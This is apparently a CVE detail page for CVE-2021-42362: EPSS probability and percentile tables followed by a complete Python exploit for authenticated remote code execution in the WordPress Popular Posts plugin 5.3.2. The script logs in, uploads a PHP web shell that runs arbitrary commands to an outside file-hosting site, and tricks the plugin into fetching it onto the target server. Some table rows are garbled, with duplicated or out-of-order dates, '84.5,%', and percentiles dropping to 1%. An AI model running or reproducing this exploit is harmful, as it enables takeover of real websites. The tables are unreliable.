CVE-2021-42362 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2021-11-21	–	2.28%	–	–	–
2021-12-12	–	2.28%	–	–	–
2021-12-26	–	17.15%	–	–	–
2022-01-09	–	48.15%	–	–	–
2022-02-06	–	–	71.61%	–	–
2022-04-03	–	–	60.89%	–	–
2022-07-17	–	–	32.72%	–	–
2022-11-20	–	–	60.89%	–	–
2023-03-12	–	–	–	95.47%	–
2023-03-26	–	–	–	95.15%	–
2023-05-28	–	–	–	95.29%	–
2023-06-11	–	–	–	95.32%	–
2023-06-25	–	–	–	95.55%	–
2023-07-09	–	–	–	95.54%	–
2023-08-27	–	–	–	95.44%	–
2023-09-10	–	–	–	95.74%	–
2023-11-26	–	–	–	96.28%	–
2023-12-31	–	–	–	96.41%	–
2024-01-14	–	–	–	96.36%	–
2024-02-11	–	–	–	96.36%	–
2024-03-17	–	–	–	96.3%	–
2024-03-31	–	–	–	96.09%	–
2024-06-02	–	–	–	94.45%	–
2024-06-09	–	–	–	94.75%	–
2024-06-23	–	–	–	94.92%	–
2024-07-07	–	–	–	95.54%	–
2024-07-21	–	–	–	95.85%	–
2024-07-28	–	–	–	96.02%	–
2024-09-08	–	–	–	96.11%	–
2024-10-13	–	–	–	96.22%	–
2024-10-27	–	–	–	96.05%	–
2024-11-10	–	–	–	95.76%	–
2024-11-24	–	–	–	95.6%	–
2024-12-22	–	–	–	92.45%	–
2025-03-09	–	–	–	92.25%	–
2025-01-19	–	–	–	92.45%	–
2025-03-09	–	–	–	92.25%	–
2025-03-18	–	–	–	–	84.5%
2025-03-18	–	–	–	–	84.5,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2021-11-21	78%
2021-12-12	79%
2021-12-26	97%
2022-01-09	99%
2022-02-06	99%
2022-04-03	99%
2022-07-17	98%
2022-11-20	99%
2023-03-12	99%
2023-03-26	99%
2023-05-28	99%
2023-06-11	99%
2023-06-25	99%
2023-07-09	99%
2023-08-27	99%
2023-09-10	99%
2023-11-26	99%
2023-12-31	99%
2024-01-14	99%
2024-02-11	1%
2024-03-17	1%
2024-03-31	99%
2024-06-02	99%
2024-06-09	99%
2024-06-23	99%
2024-07-07	99%
2024-07-21	99%
2024-07-28	1%
2024-09-08	1%
2024-10-13	1%
2024-10-27	1%
2024-11-10	1%
2024-11-24	99%
2024-12-22	99%
2025-03-09	99%
2025-01-19	99%
2025-03-09	99%
2025-03-18	99%
2025-03-18	99%

# Exploit Title: WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated) # Date: 15/07/2021 # Exploit Author: Simone Cristofaro # Vendor Homepage: https://it.wordpress.org/plugins/wordpress-popular-posts/ # Software Link: https://downloads.wordpress.org/plugin/wordpress-popular-posts.5.3.2.zip # Version: 5.3.2 or below # Tested on: Debian 10, WordPress 5.7.2, PHP version 7.3.27 # CVE: CVE-2021-42362 # Reference: https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/ # Notes: It's required that the Popular Posts widget is active (ie. in the footer section) and gd extension for PHP is # enabled (otherwise WPP can't generate thumbnails). Also, the authenticated user must have "Contributor" role or above. # This script will login with the provided credentials, create a new post and add a custom field with the link to a # web shell, that will be automatically downloaded by the server. If you don't want to upload the file, you need to # provide a URL to a web shell with SSL support (https) and make sure it contains the file name in it. If the plugin is # set to show a fixed number of popular posts (ie. top 5), you just need to refresh the post page to make it go up ;) ''' Banner: ''' banner = """ * Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated) * @Heisenberg """ print(banner) ''' Import required modules: ''' import requests import argparse import json import re ''' User-Input: ''' my_parser = argparse.ArgumentParser(description='Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)') my_parser.add_argument('-t', help='--Target IP', metavar='IP', type=str, required=True, dest="target_ip") my_parser.add_argument('-p', help='--Target port', type=str, metavar='PORT', default='80', dest="target_port") my_parser.add_argument('-w', help='--Wordpress path (ie. /wordpress/)',metavar='PATH', type=str, required=True, dest="wp_path") my_parser.add_argument('-U', help='--Username', metavar='USER', type=str, required=True, dest="username") my_parser.add_argument('-P', help='--Password', metavar='PASS', type=str, required=True, dest="password") args = my_parser.parse_args() target_ip = args.target_ip target_port = args.target_port wp_path = args.wp_path username = args.username password = args.password ''' # Hard coded parameters (if you don't like command line execution) target_ip = "localhost" target_port = "80" wp_path = "/wordpress/" username = "heisenberg" password = "heisenberg" ''' shell_name = 'exploit.gif.php' payload = 'GIF <html> <body> <form method="GET" name="<?php echo basename($_SERVER[\'PHP_SELF\']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET[\'cmd\'])) { system($_GET[\'cmd\']); } ?> </pre> </body> </html>' print('') print('[*] Starting Exploit:') ''' Upload file ''' file_json = requests.post('https://api.bayfiles.com/upload', files={ 'file' : (shell_name, payload)}) resp = json.loads(file_json.text) if resp['status']: urlshort = resp['data']['file']['url']['full'] else: print(f'[-] Error:'+ resp['error']['message']) exit() file_uploaded_site = requests.get(urlshort).text PHP_URL = re.findall(r"(https?://\S+)("+shell_name+")",file_uploaded_site)[0][0] + shell_name print(f'[+] Web Shell successfully uploadad at [{PHP_URL}].') ''' Authentication: ''' session = requests.Session() auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php' # Header: header = { 'Host': target_ip, 'User-Agent': 'Monies Browser 1.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': 'http://' + target_ip, 'Connection': 'close', 'Upgrade-Insecure-Requests': '1' } # Body: body = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'testcookie': '1' } # Authenticate: auth = session.post(auth_url, headers=header, data=body) auth_header = auth.headers['Set-Cookie'] if 'wordpress_logged_in' in auth_header: print(f'[+] Authentication successfull as user [{username}] !') else: print('[-] Authentication failed ! Check username and password') exit() ''' Verify that the requirements are installed ''' settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=debug' settings_page = session.get(settings_page_url).text search_string = ' gd' if settings_page.find(search_string) == -1 : print('[-] Error, gd extension for PHP is not installed/enabled on the server ! WPP can\'t generate thumbnails.') exit() ''' Get the wpp-admin-token ''' settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=tools' settings_page = session.get(settings_page_url).text search_string = '<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="' search_string_end = '" />' settings_page = settings_page[settings_page.find(search_string):] wpp_admin_token = settings_page[72: settings_page.find(search_string_end)] if wpp_admin_token: print(f'[+] Acquired wpp-admin-token [{wpp_admin_token}].') else: print('[-] Error while gathering wpp-admin-token !') exit() ''' Apply changes to the Popular Posts plugin ''' body = { 'upload_thumb_src': '', 'thumb_source': 'custom_field', 'thumb_lazy_load': 1, 'thumb_field': 'wpp_thumbnail', 'thumb_field_resize': 1, 'section': 'thumb', 'wpp-admin-token': wpp_admin_token } applied_changes = session.post(settings_page_url, headers=header, data=body).text if applied_changes.find('<div class="notice notice-success is-dismissible"><p><strong>Settings saved.'): print(f'[+] Settings applied successfully to the Popular Posts plugin. ') else: print('[-] Error while applying settings o the Popular Posts plugin!') exit() ''' Empty image cache ''' body = { 'action': 'wpp_clear_thumbnail', 'wpp-admin-token': wpp_admin_token } applied_changes = session.post(settings_page_url, headers=header, data=body).text print(f'[+] Images cache cleared. ') ''' Get the new post ID and Nonce ''' new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/post-new.php' new_post_page = session.get(new_post_url).text search_string = 'name="_ajax_nonce-add-meta" value="' search_string_end = '" />' new_post_page = new_post_page[new_post_page.find(search_string)+35:] ajax_nonce = new_post_page[:new_post_page.find(search_string_end)] search_string = 'wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "' search_string_end = '" );' new_post_page = new_post_page[new_post_page.find(search_string)+66:] wp_nonce = new_post_page[:new_post_page.find(search_string_end)] search_string = '},"post":{"id":' search_string_end = ',' new_post_page = new_post_page[new_post_page.find(search_string)+15:] post_ID = new_post_page[:new_post_page.find(search_string_end)] if post_ID and wp_nonce and ajax_nonce: print(f'[+] Acquired new post ID [{post_ID}], WP Nonce [{wp_nonce}] and AJAX Nonce [{ajax_nonce}].') else: if not post_ID: print('[-] Error while gathering post_ID !') elif not wp_nonce: print('[-] Error while gathering Wordpress Nonce !') elif not ajax_nonce : print('[-] Error while gathering Wordpress AJAX Nonce !') exit() ''' Publish a new post ''' new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php/wp-json/wp/v2/posts/'+post_ID+'?_locale=user' data = {"id":post_ID,"title":"I'm the one who knocks","content":"<!-- wp:paragraph -->\n<p>upgrade your plugins</p>\n<!-- /wp:paragraph -->","status":"publish"} header['X-WP-Nonce'] = wp_nonce header['Content-Type'] = 'application/json' header['X-HTTP-Method-Override'] = 'PUT' new_post_page = session.post(new_post_url, headers=header, json=data).text if new_post_page.find('"status":"publish"'): print(f'[+] New post named [I\'m the one who knocks] published correctly!') else: print('[-] Error while publishing the new post !') exit() ''' Add the Custom Filed ''' new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php' header.pop('X-WP-Nonce') header['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8' header.pop('X-HTTP-Method-Override') header['Accept']='*/*' header['X-Requested-With'] = 'XMLHttpRequest' body = { '_ajax_nonce': 0, 'action': 'add-meta', 'metakeyselect': 'wpp_thumbnail', 'metakeyinput': "", 'metavalue' : PHP_URL, '_ajax_nonce-add-meta': ajax_nonce, 'post_id' : post_ID } new_post_page = session.post(new_post_url, headers=header, data=body).text if new_post_page.find("<tr id='meta-") > 0: print(f'[+] Added a new Custom Field with the uploaded web shell.') else: print('[-] Error while adding the custom field !') print(new_post_page) exit() ''' Give it some views to pop it up in the recent posts ''' print(f'[+] Giving the new post some views (10) [ ', end="") new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php?page_id=' + post_ID redirect_url = session.get(new_post_url).url new_post_plugin_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php/wp-json/wordpress-popular-posts/v1/popular-posts' data = { '_wpnonce': wp_nonce, 'wpp_id': post_ID, 'sampling': 0, 'sampling_rate': 100 } for progress in range(10): session.get(redirect_url) res = session.post(new_post_plugin_url, headers=header, data=data) print ('=', end='') print(' ] '+json.loads(res.text)['results']) print('[+] Exploit done !') print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/wordpress-popular-posts/' + post_ID +'_'+ shell_name) print('')